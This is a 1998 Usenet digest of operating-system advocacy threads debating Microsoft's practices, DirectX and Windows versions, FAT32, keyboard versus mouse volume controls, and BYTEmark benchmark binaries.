Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 08:50:58 GMT
Organization: Milhouse America
Message-ID: <355675d5.21298876@news.nai.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net> <355d5b06.148323868@news.nai.net> <6iqe3d$q5e$1@vixen.cso.uiuc.edu>
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On 6 May 1998 19:36:13 GMT, tsmurphy@cs.uiuc.edu (TERENCE MURPHY)
wrote:
>In article <355d5b06.148323868@news.nai.net>,
>Perry.Fecteau@Republican.COM <perfecto@ct2.nai.net> wrote:
>
>>that may not have anything to do with anything but microsoft is but a
>>spec of dust on the nuts of companies like GE, exxon, ibm, phillip
>>morris, at&t, etc..
>At over $200,000,000,000 Microsoft has the second biggest market
>value (only behind GE) of any company in the world.
high market value because the stock is overvalued. take a look at
earnings.
--
Dead Republican
Check out Dead Republican's anti MicroSoft song <alt.netted.out> at:
http://w3.nai.net/~perfecto/deadrep.html
(I think I fixed the RealAudio problem)
From: perfecto@ct2.nai.net (Perry.Fecteau@Republican.COM)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 08:53:22 GMT
Organization: Milhouse America
Message-ID: <35577677.21461540@news.nai.net>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM>
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On Wed, 06 May 1998 11:00:54 -0500, Michael Peck <MJPECK@CONVEX.COM>
wrote:
>And on, and on, and on, and on. Printers, QuickCams, caller ID boxes,
>telephones, radios, and hundreds of other devices designed to expand the
>functionality of a desktop computer all qualify for the benefits of a
>high-speed, standardized, chainable serial interface.
kinda like scsi eh?
--
Dead Republican
Check out Dead Republican's anti MicroSoft song <alt.netted.out> at:
http://w3.nai.net/~perfecto/deadrep.html
(I think I fixed the RealAudio problem)
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 7 May 1998 09:29:41 GMT
Organization: P & L Systems
Message-ID: <6iruu5$4f3$6@ironhorse.plsys.co.uk>
References: <6iptqc$4f3$2@ironhorse.plsys.co.uk> <B17604A2-45B5C@206.165.43.51>
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Cc: english@primenet.com
In <B17604A2-45B5C@206.165.43.51> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
> > My premise is exactly the same as Nathan's:
> >
> > "For volume/up down, I can more or less instantaneously hit something
> > like PgUp/PgDown or Home/End or a couple of function keys. Much faster
> > than I can mouse down to a control strip, select a new volume or mute it,
> > then move back."
> >
> You're familiar with Fitz law, right?
>
I very dimply remember Fitt's Law from psychology classes.
> The one that says that the time it
> takes to accomplish a control-action is proportionate to the distance to
> the target control and inversely proportionate to the size?
>
OK, I'll take your word for it.
> I'm not sure how the interaction of arm/wrist/mouse vs finger/keypress
> would work, but that could be determined by timing, I guess.
>
> There's another factor that you seem to be missing, which is the fact that
> any time you stop typing and use your fingers to access controls on the
> keyboard, there is a measurable pause in your thinking process as you
> switch contexts.
>
The fact you seem to be missing is that this will be the case for
manipulating the mouse as well. Here are the two scenarios:
1/
Think about turning down sound level
Switch attention from wherever to volume key
Move fingers to volume key
Press
2/
Think about turning down sound level
Switch attention to mouse
Move hand to mouse
Switch attention to cursor
Move mouse to find control switch
[I'm being generous and assuming it's on screen]
Select volume button on control switch
Select required volume
Spot the difference? 2 requires more actions, and greater overall cognitive
load.
[other irrelevancies cut]
mmalc.
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Newsgroups: comp.sys.next.advocacy
References: <6icrin$6ra@newsb.netnews.att.com> <6id0ln$hfv$1@ha2.rdc1.sdca.home.com> <6id4ni$pt2$1@news.xmission.com> <6idd1p$qq1$2@cronkite.cygnus.com> <6iea6m$1i2$1@ha2.rdc1.sdca.home.com>
In-Reply-To: <6iea6m$1i2$1@ha2.rdc1.sdca.home.com>
From: marco@sente.ch.mil (Marco Scheurer)
Message-ID: <35518710.0@epflnews.epfl.ch>
Date: 7 May 98 10:04:00 GMT
Organization: EPFL
On 05/02/98, Rex Riley wrote:
>>
>
>Interestingly, it is the "Vincenes" incident which downed the Iraq
>jetliner that prompted the new systems :-) It seems "threat
>analysis" was too automated in the Vincenes shoot. This new NT
>server based system will bring more data into the decision before
>they push the button FIRE...
>
It was an Iranian jetliner. If I recall correctly, the accident was a
GUI problem: the displayed info was incorrect for a while (mixing
signals from a landing F14 and a taking-off Airbus). Then it was
corrected but the change was not apparent to the sailors who were in a
state of stress (there were at the same time in a gunfire battle with
iranian patrol boats) and engaged in a complex fire sequence.
Of course, here too, using Nanomush GUI paradigms will be great help.
--
Marco Scheurer (remove "dot mil" from my address)
Sen:te
OPENSTEP/Rhapsody and WebObjects development, consulting and mentoring.
From: Matthias Bethke <Matthias.Bethke@stud.uni-erlangen.de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Thu, 07 May 1998 12:19:03 +0200
Organization: Regionales Rechenzentrum Erlangen, Germany
Message-ID: <35518A97.5A53@stud.uni-erlangen.de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <354F400E.90F@stud.uni-erlangen.de> <3550A611.2949@zvw._REMOVE_THIS_de> <35507E57.7F0D@stud.uni-erlangen.de> <3551E076.74BD@zvw._REMOVE_THIS_de>
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Rolf Magnus wrote:
> What I am talking about are not bad written games, much more I think
> about the OS itself that crashes.
Praised be the OS that can be put away when not needed :-)
> And, Microsoft is doing very well in *making* the older os version
> obsolete.
Sure, guess why!
> > A PSX *and* a computer :-)
>
> My PC has better gfx. I like gaming on PC. But that's another point.
So what's the problem, if it has better gfx, i.e. in reality, with real
software that runs on what you have.
> > > So is Quake and Incoming work?
> >
> > Er, work what? Work on the PSX? Incoming no, Quake yes. AFAIK (I
> don't
> > have one myself).
>
> No, you didn't understand. I was asking if Quake and Incoming *are*
> work, not
> if they *do* work...
A professional killer could consider them "training for the job" :-),
but for most people, no. Why?
ttyl!
Matthias
From: portnoy@ai.mit.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 06 May 1998 13:21:09 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <usomn71tm.fsf@ai.mit.edu>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <geordie-0505981708370001@130.130.117.53>
geordie@chapman.com (Geordie Korper) writes:
> Mail News
>
> little categorization highly categorized
> rarely threaded mostly threaded
> low volume high volume
> mostly signal mostly noise
> high priority low priority
Unless, of course, you subscribe to mailing lists:
Mailing Lists
highly categorized
mostly threaded
high volume
mostly signal
low priority
...mailing lists are a *lot* like news (some would say better, because
of the better S/N ratio).
I believe that once you have a *good* mailreader which can filter out
mailing lists into their own folders, it starts making a lot of sense
to combine at least the mailing list portion into a newsreader,
because of the similaries.
Of course, people are missing the main difference in the way that
(IMHO) people work with the two different types. Most news messages
are items which you want to read once and then ignore; most (well a
higher percentage, at least) mail messages are items you want to keep
around for reference. In effect, they have two different modes of
operation -- for mail messages, you want to have to explicitly delete
messages, for news you want to have to explicitly keep them.
A good mail/news client needs to make this distinction overt without
becoming confusing, which to my mind is the really difficult piece of
all this.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: "Pinochet" <9grayhome9@00sprintmail0me0.com>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Wed, 6 May 1998 12:30:50 -0500
Message-ID: <6iq6mm$e4g$1@newsfep1.sprintmail.com>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de>
Rolf Magnus wrote in message <3550A11D.7A@zvw._REMOVE_THIS_de>...
>Pinochet wrote:
> > >That means that by now, Microsoft is forcing us to use win95 since
> > >directx 5 will not come out for NT4.
> >
> > Well, actually you CAN get DX5 for NT4, however since DX6 is so
> > close, MS has decided not to release that patch(though you can still
> > get it), and instead will have one for DX6 when it is done.
>
>So you can get it although they didn't release it?
Yes, it's one of those things that sneaked out somehow...
maybe intentionally or not..
>And further on, how do I use my 3dfx under DirectX 5 for NT4?
I haven't the foggiest idea as I don't know much about 3DFX's..
Still you could just try to find the DX5 patch for NT and see if it works.
> > >Then, as win98 is out, we have to buy it also.
> >
> > Why? Maybe if they didn't put DX6 on 95, and worse yet you just had
> > to play some new games...but then only the first is the choice of
> >MS, the rest is YOURS.
>
>Yes, I nearly only use windows for games, so if I want to play new
>games, I will need it.
MAYBE. Depends on which version of DirectX the game uses, and
if MS doesn't come up with a patch for DX6 on 95...
> > >And when then NT comes out with directx6 we also have to buy it.
> >
> > Wrong...DirectX6 will probably be available on W98 first, since NT5.0
> ^^^^^^^^^^^^
>
> > isn't coming anytime soon...however DX6 will be done on NT first.
> ^^^^^^^^^^^
>What?
? You don't understand? Ok, I see that is confusing..
Let me explain.
DX6 will be done, finished, planned, set up, completed on NT5 first,
then this will be moved over to W98 and a patch released so that
everyone can enjoy it. Don't know about W95 or earlier versions of
NT..
> > >So Microsoft is forcing the users that want to play games to buy 95,
> > >98 AND NT5.
> >
> > Nope. Sorry, you don't have to buy 95 if you can live without *some*
>games now,
>
>Now, what is the alternative?
? Living without those games?
> > you certainly don't have to buy 98 *yet* as DX6 isn't released, and
>if
> > it's not on W98, then why would you have to buy W98?
>
>I don't have to buy 98 *yet*, exactly, but I *will* have to buy it when
>DX6 is out,
Will you? Only if DX6 isn't ported to your current OS. Entirely
possible, but not certain..
>or I have to choose NT, depending upon where dx6 will be
>out first.
Nope. You can buy NT5, or 98 either one, as MS fully intends
DX6 to run well on both.
> Now I am not sure that one will need only one of them.
Of course you can't be entirely sure, but you can look at what
MS and others report on the situation.
> If they are totally exchangable, why does Microsoft make both?
The same reason W95 still contains a lot of DOS code, because
MS feels many of their customers aren't ready for the shift to NT
yet....though by the next generation, the two trees will be united..
> > Which means
> > you'd only have to buy NT 5....but wait, maybe MS will patch 95 and
> >NT to support Directx6, did you think of that?
>
>No, because I don't think that they'll do.
Try being more optimistic....heck, this would be an injunction I'd accept
being forced on MS...
> And even if they do, they
>will use some trick to force me to buy 98 or (and?) NT5, like not
>supporting new hardware any more or things like that.
Um, MS doesn't do diddly about supporting new hardware, that would
be the responsibility of the hardware manufacturer, not MS.
> > > And what about directx 7 ? Maybe it will only be available for
>windows
> > > 00 (Big problem with y2k)?
> >
> > Well, considering when MS plans to release both of those, it is a
>distinct
> > possibility, but then why should MS be supporting 5 or so year old
>stuff with the latest and greatest?
>
>That was not what I meant.
Ok.
>I meant that MS could release each version of
>DirectX on another OS (swapping between NT and WinXX) so you ever have
>to get both. And for me it looks like they are doing such things.
It doesn't to me. One they patched DX3(and previous versions) to work on
NT, two DirectX 6, will, according to MS, be fully functional on both OSes,
and three, MS fully intends to kill the 9X branch of Windows after this last
iteration.
> > >Don't you see that they will not do this because they want you to
>buy the next version of NT?
> >
> > I see that is possible. I don't see it as certain.
>
>I see it as nearly certain.
Fine, I can live with that.
> > Wrong. While in limited groups MS might be hated, in others, people
> > just don't give a shit..
>
>This does not have to do something with newsgroups are whatever groups
>you meant. It is a general tendency.
Proof please? Surveys, Polls, things like that....no self-selected ones
mind
you, but you don't have to provide something of the quality of a Gallup..
From: joe@apk.net (Joseph T. Adams)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 6 May 1998 17:56:18 GMT
Organization: Quality Data Division of JTAE
Message-ID: <6iq882$aj6$1@nerd.apk.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
:
: The executive branch is supposed to _enforce_ the laws without worrying
: about whether they're good laws or not.
You make many good points but I'd have to respectfully disagree with
this one, at least in the case of a law which is blatantly
unconstitutional on its face.
The President, like all federal officials, is sworn to uphold the
Constitution. He must apply Constitutionally valid laws even if he
disagrees with those laws, or else resign, and he must do so fairly
and even-handedly as you've pointed out. BUT, not only is he not
responsible for enforcing unconstitutional "laws," but he is forbidden
by his oath of office and many well-tested federal laws from doing so,
at least if he knows the "law" in question is unconstitutional.
It is quite rare to have a President with the moral fortitude to
actually carry out his oath of office, and quite common for
unconstitutional "laws" to be enforced as if they were valid, and even
upheld by the various courts. That doesn't make it right however.
The case of a law of questionable constitutionality is a difficult
case, and one possible response (which I believe actually did occur
with respect to the CDA) would be to refuse to enforce it pending
judicial review.
There are constitutionally and morally valid ways to "punish"
Microsoft, assuming that it is found guilty of committing crimes like
fraud, theft, or extortion. New laws are not needed; the existing law
simply needs to be applied. I hope it will be.
Joe
From: kalivoda@arches.uga.edu (Ted Kalivoda)
Newsgroups: comp.sys.next.advocacy
Subject: Pointcast and Apple?
Date: Wed, 06 May 1998 14:03:49 -0400
Organization: UGA
Message-ID: <kalivoda-0605981403490001@defiant.cssites.uga.edu>
What's the deal with Pointcast and Apple? No news updates or activity on
the Apple channel.
--
Ted
kalivoda@arches.uga.edu "The sleep of reason
www.arches.uga.edu/~kalivoda gives rise to monsters"..Goya
From: djboccip@hiwaay.net (Dr. Dennis J. Boccippio)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Wed, 06 May 1998 13:13:42 -0500
Organization: NASA/MSFC HR-20
Message-ID: <djboccip-0605981313420001@qburst.msfc.nasa.gov>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com>
In article <6iovd2$f0c$2@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
>
> What is the problem with Apples claims? Up untill a couple of weeks ago, if
> you went to bytes page, the executable you download was compiled with
> codewarrior. This gave a score of 5.56 for int, 4.65 for fp. IF you used
> codewarrior 1 and compiled it yourself with no optimizations, you got even
> lower, 4.66 int, 3.54 fp. Note this was still faster than a p2 300. So a
> fair byte shows g3's are faster, tho not by what apple claims.
>
> Like I said, these were the binaries that were up till a couple of weeks ago.
> For a couple of months, even macadvocates have states that Apple's claims
> are preety much fabrications, people with g3's were running the byte test and
> getting a score of 5 or 6 rather than 9. So oddly enough, the binaries are
> removed, and the binary apple used is now on the byte page. And the byte faq
> says the same binaries have been used for the last 2 years, yet the ppc
> binaries were JUST changed, instead of codewarrior and something else (I
> forget) its now motorola 3.0 developer release??
>
Some other points on this. The BYTEmark binary, if you download it
today, is identical to that from 6 April (previous time I downloaded it),
and still at DR/3. _If_ there was a change, it was well more than
"a couple of weeks ago".
Not to mention that the folder creation date for DR/3 is 7 February 1996.
Either Byte insidiously placed a new binary in the _same_ DR/3 folder,
or you've gotten this wrong.
Anyway, I don't see any claims on Byte's site that the Mac binaries
are (or, in the time frame of the Snail Ad, were) compiled with CodeWarrior.
The Docs section talks about analysis of CodeWarrior optimization,
but this was for _680x0_ code, and presumably ancient docs. I see no
reason to think that anything other than DR/3 as it currently is posted
was used for the Snail Ad.
Finally, as pointed out in my previous post, DR/3 does _not_ contain
Apple's MrC binaries; if anything, it's likely mcc. The DR/3 binary
trounces optimized MrC on most of the subtests. Rather, MrC runs pretty
close to CodeWarrior. So if something "fishy" (if you can call use of
mcc "fishy") is going on at Byte, you can't lay it at Apple's door,
with their supposedly "tweaked" MrC (which simple tests, for those
who would bother to do them, reveal is not particularly tweaked; again, see
previous post).
All it takes to recreate this for yourself is an old CodeWarrior 10/11 CD,
and Apple's free MrC plugin compiler. (The plugin fails under CW Pro).
Hope this improves the SNR around here.
Dennis
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 6 May 1998 18:55:22 GMT
Organization: I don't think so
Message-ID: <slrn6l0r5q.4a2.jason@jhste1.dyn.ml.org>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov>
Dr. Dennis J. Boccippio wrote:
>Finally, as pointed out in my previous post, DR/3 does _not_ contain
> Apple's MrC binaries; if anything, it's likely mcc.
I think that "DR/3" means Motorola SDK DR 3 in this context.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 06 May 1998 14:05:42 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3550B486.607B@CONVEX.COM>
References: <6io74v$cuc$1@crib.bevc.blacksburg.va.us> <B175052E-165DC1@206.165.43.143> <slrn6l1bvd.ftg.mbkennel@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Matt Kennel wrote:
> Sure. They're much more useful than the CAPS LOCK and 'Print Screen/SysRq'
> and 'Scroll Lock' and 'Pause' and three "Windows iconish" buttons which
> infest every PC keyboard.
SysReq and Scroll Lock are anachronisms, just like the internal PC
speaker that requires desktop-centric volume control. 99% of all modern
PC systems have a dedicated sound card with external output to speakers,
99% of which have volume knobs.
Macintoshes and NeXTStations don't always have external sound hardware,
so I imagine extra keys on the keyboard are more of a worry for you than
for PC users.
MJP
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Thu, 07 May 1998 13:26:28 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <355218F4.6194@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <354F400E.90F@stud.uni-erlangen.de> <3550A611.2949@zvw._REMOVE_THIS_de> <35507E57.7F0D@stud.uni-erlangen.de> <3551E076.74BD@zvw._REMOVE_THIS_de> <35518A97.5A53@stud.uni-erlangen.de>
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Matthias Bethke wrote:
> > And, Microsoft is doing very well in *making* the older os version
> > obsolete.
>
> Sure, guess why!
M$ wouldn't live very long if not.
> > > > So is Quake and Incoming work?
> > >
> > > Er, work what? Work on the PSX? Incoming no, Quake yes. AFAIK (I
> > don't
> > > have one myself).
> >
> > No, you didn't understand. I was asking if Quake and Incoming *are*
> > work, not
> > if they *do* work...
>
> A professional killer could consider them "training for the job" :-),
> but for most people, no. Why?
I was responding to the post that said that I don't need stability on
the PC because I don't need to multitask Quake an Incoming. That post
also said that I should buy a Playstation for gaming and a PC for work.
The result must be that Quake and Incoming are work.
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
From: neilz@techie.dont.send.me.spam.com (Neil Zampella)
Subject: Re: Windoze Sux: DirectX vs NT50
References: <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de> <Pine.LNX.3.91.980506161248.3560B-100000@mirkwood.dummy.home> <E0641.105$x16.1114603@news.sgi.net>
Message-ID: <35519c37.0@news1.ibm.net>
Date: 7 May 1998 11:34:15 GMT
Organization: IBM.NET
In message <E0641.105$x16.1114603@news.sgi.net> - "Evan DiBiase" <hyprsoft@DELETEsgi.net> writes:
:>
:>>On a side note, will '98 be millenium-proof?
:>
:>Yes, I believe it is.
:>
:>-Evan
:>
Yup ... you're going to pay $109 for a Y2K fix that should have been in a service pak.
:>Rik van Riel wrote in message ...
:>>On Wed, 6 May 1998, Rolf Magnus wrote:
:>>> Pinochet wrote:
:>>> > Rolf Magnus wrote in message <354F4C4F.3C93@zvw._REMOVE_THIS_de>...
:>>> >
:>>> > >So Microsoft is forcing the users that want to play games to buy 95,
:>>> > >98 AND NT5.
:>>> >
:>>> > Nope. Sorry, you don't have to buy 95 if you can live without *some*
:>>> > games now,
:>>
:>>[snip]
:>>
:>>> > >they have to force the users to buy them.
:>>> >
:>>> > No, they don't....in fact such an act would be counterproductive if
:>>> > you asked me....
:>>>
:>>> We'll have to wait to see that, since Microsoft does it.
:>>
:>>They'll have to. Most people hate Microsoft (mainly because
:>>their products don't work as advertised) and don't want
:>>to hand over any more money to Mr. Gates.
:>>
:>>The only way to get users to upgrade to all new and exiting
:>>bugs is by forcing them. There's a reason that there are
:>>still so many Win 3.1(1) sites out there...
:>>
:>>On a side note, will '98 be millenium-proof?
:>>If it isn't it seems like enough evidence to
:>>support the MS-forces-customers argument...
:>>
:>>Rik.
:>>+-------------------------------------------+--------------------------+
:>>| Linux: - LinuxHQ MM-patches page | Scouting webmaster |
:>>| - kswapd ask-him & complain-to guy | Vries cubscout leader |
:>>| http://www.phys.uu.nl/~riel/ | <H.H.vanRiel@phys.uu.nl> |
:>>+-------------------------------------------+--------------------------+
:>>
:>
:>
Neil Zampella
Why do I use OS/2 ... because I like choice !!
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 12:15:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17604A2-45B5C@206.165.43.51>
References: <6iptqc$4f3$2@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
Lawson English <english@primenet.com> said:
>> This may not apply to the control strip because Fitz' Law (?) works
>> differently for a floating tab then for a menu bar, but without
objective
>> numbers, I'm willing to bet even money that it is just as fast, if not
>> faster, to use the control strip.
>>
>OK, I'll take you up on that.
>
>My premise is exactly the same as Nathan's:
>
>"For volume/up down, I can more or less instantaneously hit something like
>PgUp/PgDown or Home/End or a couple of function keys. Much faster than I
>can
>mouse down to a control strip, select a new volume or mute it, then move
>back."
You're familiar with Fitz law, right? The one that says that the time it
takes to accomplish a control-action is proportionate to the distance to
the target control and inversely proportionate to the size?
I'm not sure how the interaction of arm/wrist/mouse vs finger/keypress
would work, but that could be determined by timing, I guess.
There's another factor that you seem to be missing, which is the fact that
any time you stop typing and use your fingers to access controls on the
keyboard, there is a measurable pause in your thinking process as you
switch contexts. This pause is considerably shorter when you stop typing
and reach for the mouse since you are not using the same movements to
accomplish two different tasks.
Video tapes of people using keyboard controls show that they pause for a
goodly length of time even though the test subjects swear that they are not
pausing (I forget how long it is).
Add THAT datum into the mix, and you'll see why I don't trust your
first-hand experience, OR mine, for that matter. The only way to settle
this would be to do some test runs with video cameras.
But, as you've already pointed out, using such controls is mostly a matter
of taste anyway.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 04:51:16 -0700
Message-ID: <see-below-0705980451160001@209.24.240.68>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net>
In article <6iq0ur$kkh$1@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Joe Ragosta wrote in message ...
> >In article <6iooms$clv$1@ligarius.ultra.net>, "John Saunders"
> ><jws@jws.ultranet.com> wrote:
> >
> >> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
> >> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
> >> >John Saunders <jws@jws.ultranet.com> wrote:
> >> >
> >> >->Would consumers who want to upgrade their existing systems by adding
> >> large
> >> >->hard disks be impacted by the lack of FAT32 support in Win95-retail?
> >> >
> >> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
> >>
> >> Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
> >> FAT32 (with no convert utility), but my old Gateway 486 does not. If I
> want
> >> FAT32 on my Gateway system (and if I'm not a thief), then I need Windows
> 98.
> >
> >Absolutely true.
> >
> >But have you ever wondered why only OEMs can get OSR 2.1 which supports
> >FAT-32? Perhaps an "encouragement" to get you to ugrade your hardware?
> >
> Perhaps. But I think it's more likely because the new hardware the OEMs were
> shipping had larger disks which required the features of FAT32. Also, the
> OEMs are shipping a set of hardware the OEMs will have to test anyway.
> Consumers have a much larger set of hardware that MS would have to test. I
> suspect that would have made a "Windows 95 SP1" too expensive for Microsoft.
I don't understand what you're saying here. Basically, you're saying that
Windows 98 _is_ OSR2, except that it's been tested on a lot of hardware?
So what would be the difference? The only difference I can see is the name
and the price.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Date: Wed, 06 May 1998 13:10:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-0605981310040001@wil103.dol.net>
